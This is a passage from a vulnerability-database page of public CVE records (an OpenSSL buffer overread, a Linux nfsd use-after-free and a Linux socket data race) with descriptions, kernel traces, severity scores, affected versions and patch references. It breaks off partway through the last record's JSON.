          "value": "Issue summary: Calling the OpenSSL API function SSL_select_next_proto with an\nempty supported client protocols buffer may cause a crash or memory contents to\nbe sent to the peer.\n\nImpact summary: A buffer overread can have a range of potential consequences\nsuch as unexpected application beahviour or a crash. In particular this issue\ncould result in up to 255 bytes of arbitrary private data from memory being sent\nto the peer leading to a loss of confidentiality. However, only applications\nthat directly call the SSL_select_next_proto function with a 0 length list of\nsupported client protocols are affected by this issue. This would normally never\nbe a valid scenario and is typically not under attacker control but may occur by\naccident in the case of a configuration or programming error in the calling\napplication.\n\nThe OpenSSL API function SSL_select_next_proto is typically used by TLS\napplications that support ALPN (Application Layer Protocol Negotiation) or NPN\n(Next Protocol Negotiation). NPN is older, was never standardised and\nis deprecated in favour of ALPN. We believe that ALPN is significantly more\nwidely deployed than NPN. The SSL_select_next_proto function accepts a list of\nprotocols from the server and a list of protocols from the client and returns\nthe first protocol that appears in the server list that also appears in the\nclient list. In the case of no overlap between the two lists it returns the\nfirst item in the client list. In either case it will signal whether an overlap\nbetween the two lists was found. In the case where SSL_select_next_proto is\ncalled with a zero length client list it fails to notice this condition and\nreturns the memory immediately following the client list pointer (and reports\nthat there was no overlap in the lists).\n\nThis function is typically called from a server side application callback for\nALPN or a client side application callback for NPN. In the case of ALPN the list\nof protocols supplied by the client is guaranteed by libssl to never be zero in\nlength. The list of server protocols comes from the application and should never\nnormally be expected to be of zero length. In this case if the\nSSL_select_next_proto function has been called as expected (with the list\nsupplied by the client passed in the client/client_len parameters), then the\napplication will not be vulnerable to this issue. If the application has\naccidentally been configured with a zero length server list, and has\naccidentally passed that zero length server list in the client/client_len\nparameters, and has additionally failed to correctly handle a \"no overlap\"\nresponse (which would normally result in a handshake failure in ALPN) then it\nwill be vulnerable to this problem.\n\nIn the case of NPN, the protocol permits the client to opportunistically select\na protocol when there is no overlap. OpenSSL returns the first client protocol\nin the no overlap case in support of this. The list of client protocols comes\nfrom the application and should never normally be expected to be of zero length.\nHowever if the SSL_select_next_proto function is accidentally called with a\nclient_len of 0 then an invalid memory pointer will be returned instead. If the\napplication uses this output as the opportunistic protocol then the loss of\nconfidentiality will occur.\n\nThis issue has been assessed as Low severity because applications are most\nlikely to be vulnerable if they are using NPN instead of ALPN - but NPN is not\nwidely used. It also requires an application configuration or programming error.\nFinally, this issue would not typically be under attacker control making active\nexploitation unlikely.\n\nThe FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue.\n\nDue to the low severity of this issue we are not issuing new releases of\nOpenSSL at this time. The fix will be included in the next releases when they\nbecome available."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://www.openssl.org/policies/secpolicy.html"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-125",
              "description": "CWE-125 Out-of-bounds Read",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-09-01T08:29:27.594Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://www.openssl.org/news/secadv/20240627.txt"
        },
        {
          "name": "3.3.2 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/e86ac436f0bd54d4517745483e2315650fae7b2c"
        },
        {
          "name": "3.2.3 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/99fb785a5f85315b95288921a321a935ea29a51e"
        },
        {
          "name": "3.1.7 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/4ada436a1946cbb24db5ab4ca082b69c1bc10f37"
        },
        {
          "name": "3.0.15 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/cf6f91f6121f4db167405db2f0de410a456f260c"
        },
        {
          "name": "1.1.1za git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.openssl.org/openssl/extended-releases/commit/b78ec0824da857223486660177d3b1f255c65d87"
        },
        {
          "name": "1.0.2zk git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.openssl.org/openssl/extended-releases/commit/9947251413065a05189a63c9b7a6c1d4e224c21c"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "SSL_select_next_proto buffer overread",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2024-5535",
    "datePublished": "2024-06-27T10:30:53.118Z",
    "dateReserved": "2024-05-30T15:34:36.813Z",
    "dateUpdated": "2026-05-12T11:35:07.079Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50121 (GCVE-0-2024-50121)

Vulnerability from cvelistv5 – Published: 2024-11-05 17:10 – Updated: 2026-05-12 12:00

Title

nfsd: cancel nfsd_shrinker_work using sync mode in nfs4_state_shutdown_net

Summary

In the Linux kernel, the following vulnerability has been resolved: nfsd: cancel nfsd_shrinker_work using sync mode in nfs4_state_shutdown_net In the normal case, when we excute `echo 0 > /proc/fs/nfsd/threads`, the function `nfs4_state_destroy_net` in `nfs4_state_shutdown_net` will release all resources related to the hashed `nfs4_client`. If the `nfsd_client_shrinker` is running concurrently, the `expire_client` function will first unhash this client and then destroy it. This can lead to the following warning. Additionally, numerous use-after-free errors may occur as well. nfsd_client_shrinker echo 0 > /proc/fs/nfsd/threads expire_client nfsd_shutdown_net unhash_client ... nfs4_state_shutdown_net /* won't wait shrinker exit */ /* cancel_work(&nn->nfsd_shrinker_work) * nfsd_file for this /* won't destroy unhashed client1 */ * client1 still alive nfs4_state_destroy_net */ nfsd_file_cache_shutdown /* trigger warning */ kmem_cache_destroy(nfsd_file_slab) kmem_cache_destroy(nfsd_file_mark_slab) /* release nfsd_file and mark */ __destroy_client ==================================================================== BUG nfsd_file (Not tainted): Objects remaining in nfsd_file on __kmem_cache_shutdown() -------------------------------------------------------------------- CPU: 4 UID: 0 PID: 764 Comm: sh Not tainted 6.12.0-rc3+ #1 dump_stack_lvl+0x53/0x70 slab_err+0xb0/0xf0 __kmem_cache_shutdown+0x15c/0x310 kmem_cache_destroy+0x66/0x160 nfsd_file_cache_shutdown+0xac/0x210 [nfsd] nfsd_destroy_serv+0x251/0x2a0 [nfsd] nfsd_svc+0x125/0x1e0 [nfsd] write_threads+0x16a/0x2a0 [nfsd] nfsctl_transaction_write+0x74/0xa0 [nfsd] vfs_write+0x1a5/0x6d0 ksys_write+0xc1/0x160 do_syscall_64+0x5f/0x170 entry_SYSCALL_64_after_hwframe+0x76/0x7e ==================================================================== BUG nfsd_file_mark (Tainted: G B W ): Objects remaining nfsd_file_mark on __kmem_cache_shutdown() -------------------------------------------------------------------- dump_stack_lvl+0x53/0x70 slab_err+0xb0/0xf0 __kmem_cache_shutdown+0x15c/0x310 kmem_cache_destroy+0x66/0x160 nfsd_file_cache_shutdown+0xc8/0x210 [nfsd] nfsd_destroy_serv+0x251/0x2a0 [nfsd] nfsd_svc+0x125/0x1e0 [nfsd] write_threads+0x16a/0x2a0 [nfsd] nfsctl_transaction_write+0x74/0xa0 [nfsd] vfs_write+0x1a5/0x6d0 ksys_write+0xc1/0x160 do_syscall_64+0x5f/0x170 entry_SYSCALL_64_after_hwframe+0x76/0x7e To resolve this issue, cancel `nfsd_shrinker_work` using synchronous mode in nfs4_state_shutdown_net.

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/f67138dd338cb564a…
https://git.kernel.org/stable/c/5ade4382de16c34d9…
https://git.kernel.org/stable/c/36775f42e039b01d4…
https://git.kernel.org/stable/c/f965dc0f099a54fca…
https://git.kernel.org/stable/c/add1df5eba163a3a6…
https://git.kernel.org/stable/c/d5ff2fb2e7167e948…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 2bbf10861d51dae76c6da7113516d0071c782653 , < f67138dd338cb564ade7d3755c8cd4f68b46d397 (git) Affected: 958294a3eb82026fcfff20b0287a90e9c854785e , < 5ade4382de16c34d9259cb548f36ec5c4555913c (git) Affected: f3ea5ec83d1a827f074b2b660749817e0bf2b23e , < 36775f42e039b01d4abe8998bf66771a37d3cdcc (git) Affected: 7c24fa225081f31bc6da6a355c1ba801889ab29a , < f965dc0f099a54fca100acf6909abe52d0c85328 (git) Affected: 7c24fa225081f31bc6da6a355c1ba801889ab29a , < add1df5eba163a3a6ece11cb85890e2e410baaea (git) Affected: 7c24fa225081f31bc6da6a355c1ba801889ab29a , < d5ff2fb2e7167e9483846e34148e60c0c016a1f6 (git)
Linux	Linux	Affected: 6.2 Unaffected: 0 , < 6.2 (semver) Unaffected: 5.10.233 , ≤ 5.10.* (semver) Unaffected: 5.15.176 , ≤ 5.15.* (semver) Unaffected: 6.1.123 , ≤ 6.1.* (semver) Unaffected: 6.6.59 , ≤ 6.6.* (semver) Unaffected: 6.11.6 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50121",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-12-11T14:48:54.353206Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-12-11T14:58:33.921Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:43:43.437Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:15.174Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs4state.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f67138dd338cb564ade7d3755c8cd4f68b46d397",
              "status": "affected",
              "version": "2bbf10861d51dae76c6da7113516d0071c782653",
              "versionType": "git"
            },
            {
              "lessThan": "5ade4382de16c34d9259cb548f36ec5c4555913c",
              "status": "affected",
              "version": "958294a3eb82026fcfff20b0287a90e9c854785e",
              "versionType": "git"
            },
            {
              "lessThan": "36775f42e039b01d4abe8998bf66771a37d3cdcc",
              "status": "affected",
              "version": "f3ea5ec83d1a827f074b2b660749817e0bf2b23e",
              "versionType": "git"
            },
            {
              "lessThan": "f965dc0f099a54fca100acf6909abe52d0c85328",
              "status": "affected",
              "version": "7c24fa225081f31bc6da6a355c1ba801889ab29a",
              "versionType": "git"
            },
            {
              "lessThan": "add1df5eba163a3a6ece11cb85890e2e410baaea",
              "status": "affected",
              "version": "7c24fa225081f31bc6da6a355c1ba801889ab29a",
              "versionType": "git"
            },
            {
              "lessThan": "d5ff2fb2e7167e9483846e34148e60c0c016a1f6",
              "status": "affected",
              "version": "7c24fa225081f31bc6da6a355c1ba801889ab29a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs4state.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.2"
            },
            {
              "lessThan": "6.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.233",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.176",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.123",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.59",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.233",
                  "versionStartIncluding": "5.10.220",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.176",
                  "versionStartIncluding": "5.15.154",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.123",
                  "versionStartIncluding": "6.1.81",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.59",
                  "versionStartIncluding": "6.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.6",
                  "versionStartIncluding": "6.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "6.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: cancel nfsd_shrinker_work using sync mode in nfs4_state_shutdown_net\n\nIn the normal case, when we excute `echo 0 \u003e /proc/fs/nfsd/threads`, the\nfunction `nfs4_state_destroy_net` in `nfs4_state_shutdown_net` will\nrelease all resources related to the hashed `nfs4_client`. If the\n`nfsd_client_shrinker` is running concurrently, the `expire_client`\nfunction will first unhash this client and then destroy it. This can\nlead to the following warning. Additionally, numerous use-after-free\nerrors may occur as well.\n\nnfsd_client_shrinker         echo 0 \u003e /proc/fs/nfsd/threads\n\nexpire_client                nfsd_shutdown_net\n  unhash_client                ...\n                               nfs4_state_shutdown_net\n                                 /* won\u0027t wait shrinker exit */\n  /*                             cancel_work(\u0026nn-\u003enfsd_shrinker_work)\n   * nfsd_file for this          /* won\u0027t destroy unhashed client1 */\n   * client1 still alive         nfs4_state_destroy_net\n   */\n\n                               nfsd_file_cache_shutdown\n                                 /* trigger warning */\n                                 kmem_cache_destroy(nfsd_file_slab)\n                                 kmem_cache_destroy(nfsd_file_mark_slab)\n  /* release nfsd_file and mark */\n  __destroy_client\n\n====================================================================\nBUG nfsd_file (Not tainted): Objects remaining in nfsd_file on\n__kmem_cache_shutdown()\n--------------------------------------------------------------------\nCPU: 4 UID: 0 PID: 764 Comm: sh Not tainted 6.12.0-rc3+ #1\n\n dump_stack_lvl+0x53/0x70\n slab_err+0xb0/0xf0\n __kmem_cache_shutdown+0x15c/0x310\n kmem_cache_destroy+0x66/0x160\n nfsd_file_cache_shutdown+0xac/0x210 [nfsd]\n nfsd_destroy_serv+0x251/0x2a0 [nfsd]\n nfsd_svc+0x125/0x1e0 [nfsd]\n write_threads+0x16a/0x2a0 [nfsd]\n nfsctl_transaction_write+0x74/0xa0 [nfsd]\n vfs_write+0x1a5/0x6d0\n ksys_write+0xc1/0x160\n do_syscall_64+0x5f/0x170\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\n====================================================================\nBUG nfsd_file_mark (Tainted: G    B   W         ): Objects remaining\nnfsd_file_mark on __kmem_cache_shutdown()\n--------------------------------------------------------------------\n\n dump_stack_lvl+0x53/0x70\n slab_err+0xb0/0xf0\n __kmem_cache_shutdown+0x15c/0x310\n kmem_cache_destroy+0x66/0x160\n nfsd_file_cache_shutdown+0xc8/0x210 [nfsd]\n nfsd_destroy_serv+0x251/0x2a0 [nfsd]\n nfsd_svc+0x125/0x1e0 [nfsd]\n write_threads+0x16a/0x2a0 [nfsd]\n nfsctl_transaction_write+0x74/0xa0 [nfsd]\n vfs_write+0x1a5/0x6d0\n ksys_write+0xc1/0x160\n do_syscall_64+0x5f/0x170\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nTo resolve this issue, cancel `nfsd_shrinker_work` using synchronous\nmode in nfs4_state_shutdown_net."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:45:50.005Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f67138dd338cb564ade7d3755c8cd4f68b46d397"
        },
        {
          "url": "https://git.kernel.org/stable/c/5ade4382de16c34d9259cb548f36ec5c4555913c"
        },
        {
          "url": "https://git.kernel.org/stable/c/36775f42e039b01d4abe8998bf66771a37d3cdcc"
        },
        {
          "url": "https://git.kernel.org/stable/c/f965dc0f099a54fca100acf6909abe52d0c85328"
        },
        {
          "url": "https://git.kernel.org/stable/c/add1df5eba163a3a6ece11cb85890e2e410baaea"
        },
        {
          "url": "https://git.kernel.org/stable/c/d5ff2fb2e7167e9483846e34148e60c0c016a1f6"
        }
      ],
      "title": "nfsd: cancel nfsd_shrinker_work using sync mode in nfs4_state_shutdown_net",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50121",
    "datePublished": "2024-11-05T17:10:50.523Z",
    "dateReserved": "2024-10-21T19:36:19.953Z",
    "dateUpdated": "2026-05-12T12:00:15.174Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-53124 (GCVE-0-2024-53124)

Vulnerability from cvelistv5 – Published: 2024-12-02 13:44 – Updated: 2026-05-12 12:01

Title

net: fix data-races around sk->sk_forward_alloc

Summary

In the Linux kernel, the following vulnerability has been resolved: net: fix data-races around sk->sk_forward_alloc Syzkaller reported this warning: ------------[ cut here ]------------ WARNING: CPU: 0 PID: 16 at net/ipv4/af_inet.c:156 inet_sock_destruct+0x1c5/0x1e0 Modules linked in: CPU: 0 UID: 0 PID: 16 Comm: ksoftirqd/0 Not tainted 6.12.0-rc5 #26 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 RIP: 0010:inet_sock_destruct+0x1c5/0x1e0 Code: 24 12 4c 89 e2 5b 48 c7 c7 98 ec bb 82 41 5c e9 d1 18 17 ff 4c 89 e6 5b 48 c7 c7 d0 ec bb 82 41 5c e9 bf 18 17 ff 0f 0b eb 83 <0f> 0b eb 97 0f 0b eb 87 0f 0b e9 68 ff ff ff 66 66 2e 0f 1f 84 00 RSP: 0018:ffffc9000008bd90 EFLAGS: 00010206 RAX: 0000000000000300 RBX: ffff88810b172a90 RCX: 0000000000000007 RDX: 0000000000000002 RSI: 0000000000000300 RDI: ffff88810b172a00 RBP: ffff88810b172a00 R08: ffff888104273c00 R09: 0000000000100007 R10: 0000000000020000 R11: 0000000000000006 R12: ffff88810b172a00 R13: 0000000000000004 R14: 0000000000000000 R15: ffff888237c31f78 FS: 0000000000000000(0000) GS:ffff888237c00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007ffc63fecac8 CR3: 000000000342e000 CR4: 00000000000006f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> ? __warn+0x88/0x130 ? inet_sock_destruct+0x1c5/0x1e0 ? report_bug+0x18e/0x1a0 ? handle_bug+0x53/0x90 ? exc_invalid_op+0x18/0x70 ? asm_exc_invalid_op+0x1a/0x20 ? inet_sock_destruct+0x1c5/0x1e0 __sk_destruct+0x2a/0x200 rcu_do_batch+0x1aa/0x530 ? rcu_do_batch+0x13b/0x530 rcu_core+0x159/0x2f0 handle_softirqs+0xd3/0x2b0 ? __pfx_smpboot_thread_fn+0x10/0x10 run_ksoftirqd+0x25/0x30 smpboot_thread_fn+0xdd/0x1d0 kthread+0xd3/0x100 ? __pfx_kthread+0x10/0x10 ret_from_fork+0x34/0x50 ? __pfx_kthread+0x10/0x10 ret_from_fork_asm+0x1a/0x30 </TASK> ---[ end trace 0000000000000000 ]--- Its possible that two threads call tcp_v6_do_rcv()/sk_forward_alloc_add() concurrently when sk->sk_state == TCP_LISTEN with sk->sk_lock unlocked, which triggers a data-race around sk->sk_forward_alloc: tcp_v6_rcv tcp_v6_do_rcv skb_clone_and_charge_r sk_rmem_schedule __sk_mem_schedule sk_forward_alloc_add() skb_set_owner_r sk_mem_charge sk_forward_alloc_add() __kfree_skb skb_release_all skb_release_head_state sock_rfree sk_mem_uncharge sk_forward_alloc_add() sk_mem_reclaim // set local var reclaimable __sk_mem_reclaim sk_forward_alloc_add() In this syzkaller testcase, two threads call tcp_v6_do_rcv() with skb->truesize=768, the sk_forward_alloc changes like this: (cpu 1) | (cpu 2) | sk_forward_alloc ... | ... | 0 __sk_mem_schedule() | | +4096 = 4096 | __sk_mem_schedule() | +4096 = 8192 sk_mem_charge() | | -768 = 7424 | sk_mem_charge() | -768 = 6656 ... | ... | sk_mem_uncharge() | | +768 = 7424 reclaimable=7424 | | | sk_mem_uncharge() | +768 = 8192 | reclaimable=8192 | __sk_mem_reclaim() | | -4096 = 4096 | __sk_mem_reclaim() | -8192 = -4096 != 0 The skb_clone_and_charge_r() should not be called in tcp_v6_do_rcv() when sk->sk_state is TCP_LISTEN, it happens later in tcp_v6_syn_recv_sock(). Fix the same issue in dccp_v6_do_rcv().

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/695fb0b9aecfd5dd5…
https://git.kernel.org/stable/c/fe2c0bd6d1e29ccef…
https://git.kernel.org/stable/c/c3d052cae566ec228…
https://git.kernel.org/stable/c/be7c61ea5f816168c…
https://git.kernel.org/stable/c/3f51f8c9d28954cf3…
https://git.kernel.org/stable/c/d285eb9d0641c8344…
https://git.kernel.org/stable/c/073d89808c065ac4c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e994b2f0fb9229aeff5eea9541320bd7b2ca8714 , < 695fb0b9aecfd5dd5b2946ba8897ac2c1eef654d (git) Affected: e994b2f0fb9229aeff5eea9541320bd7b2ca8714 , < fe2c0bd6d1e29ccefdc978b9a290571c93c27473 (git) Affected: e994b2f0fb9229aeff5eea9541320bd7b2ca8714 , < c3d052cae566ec2285f5999958a5deb415a0f59e (git) Affected: e994b2f0fb9229aeff5eea9541320bd7b2ca8714 , < be7c61ea5f816168c38955eb4e898adc8b4b32fd (git) Affected: e994b2f0fb9229aeff5eea9541320bd7b2ca8714 , < 3f51f8c9d28954cf380100883a02eed35a8277e9 (git) Affected: e994b2f0fb9229aeff5eea9541320bd7b2ca8714 , < d285eb9d0641c8344f2836081b4ccb7b3c5cc1b6 (git) Affected: e994b2f0fb9229aeff5eea9541320bd7b2ca8714 , < 073d89808c065ac4c672c0a613a71b27a80691cb (git)
Linux	Linux	Affected: 4.4 Unaffected: 0 , < 4.4 (semver) Unaffected: 5.4.290 , ≤ 5.4.* (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.127 , ≤ 6.1.* (semver) Unaffected: 6.6.74 , ≤ 6.6.* (semver) Unaffected: 6.11.10 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:46:04.223Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - BIOS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:21.383Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-503939.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/dccp/ipv6.c",
            "net/ipv6/tcp_ipv6.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "695fb0b9aecfd5dd5b2946ba8897ac2c1eef654d",
              "status": "affected",
              "version": "e994b2f0fb9229aeff5eea9541320bd7b2ca8714",
              "versionType": "git"
            },
            {
              "lessThan": "fe2c0bd6d1e29ccefdc978b9a290571c93c27473",
              "status": "affected",
              "version": "e994b2f0fb9229aeff5eea9541320bd7b2ca8714",
              "versionType": "git"
            },
            {
              "lessThan": "c3d052cae566ec2285f5999958a5deb415a0f59e",
              "status": "affected",
              "version": "e994b2f0fb9229aeff5eea9541320bd7b2ca8714",
              "versionType": "git"
            },
            {
              "lessThan": "be7c61ea5f816168c38955eb4e898adc8b4b32fd",
              "status": "affected",
              "version": "e994b2f0fb9229aeff5eea9541320bd7b2ca8714",
              "versionType": "git"
            },
            {
